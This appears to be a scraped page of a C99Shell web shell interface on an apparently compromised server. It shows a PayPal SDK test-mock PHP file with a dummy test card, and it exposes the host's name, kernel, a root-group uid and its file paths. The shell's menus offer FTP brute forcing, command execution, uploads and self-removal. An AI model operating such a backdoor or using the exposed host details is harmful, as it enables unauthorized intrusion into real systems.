!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/srmklive/paypal/tests/Mocks/Requests/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaymentMethodsTokens.php (2.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Srmklive\PayPal\Tests\Mocks\Requests;

use 
GuzzleHttp\Utils;

trait 
PaymentMethodsTokens
{
    
/**
     * @return array
     */
    
private function mockCreatePaymentSetupTokensParams(): array
    {
        return 
Utils::jsonDecode('{
            "payment_source": {
              "card": {
                "number": "4111111111111111",
                "expiry": "2027-02",
                "name": "John Doe",
                "billing_address": {
                  "address_line_1": "2211 N First Street",
                  "address_line_2": "17.3.160",
                  "admin_area_1": "CA",
                  "admin_area_2": "San Jose",
                  "postal_code": "95131",
                  "country_code": "US"
                },
                "experience_context": {
                  "brand_name": "YourBrandName",
                  "locale": "en-US",
                  "return_url": "https://example.com/returnUrl",
                  "cancel_url": "https://example.com/cancelUrl"
                }
              }
            }
          }'
true);
    }

    
/**
     * @return array
     */
    
private function mockCreatePaymentSetupPayPalParams(): array
    {
        return 
Utils::jsonDecode('{
          "payment_source": {
              "paypal": {
                  "description": "Description for PayPal to be shown to PayPal payer",
                  "shipping": {
                      "name": {
                          "full_name": "Firstname Lastname"
                      },
                      "address": {
                          "address_line_1": "2211 N First Street",
                          "address_line_2": "Building 17",
                          "admin_area_2": "San Jose",
                          "admin_area_1": "CA",
                          "postal_code": "95131",
                          "country_code": "US"
                      }
                  },
                  "permit_multiple_payment_tokens": false,
                  "usage_pattern": "IMMEDIATE",
                  "usage_type": "MERCHANT",
                  "customer_type": "CONSUMER",
                  "experience_context": {
                      "shipping_preference": "SET_PROVIDED_ADDRESS",
                      "payment_method_preference":    "IMMEDIATE_PAYMENT_REQUIRED",
                      "brand_name": "EXAMPLE INC",
                      "locale": "en-US",
                      "return_url": "https://example.com/returnUrl",
                      "cancel_url": "https://example.com/cancelUrl"
                  }
              }
          }
      }'
true);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--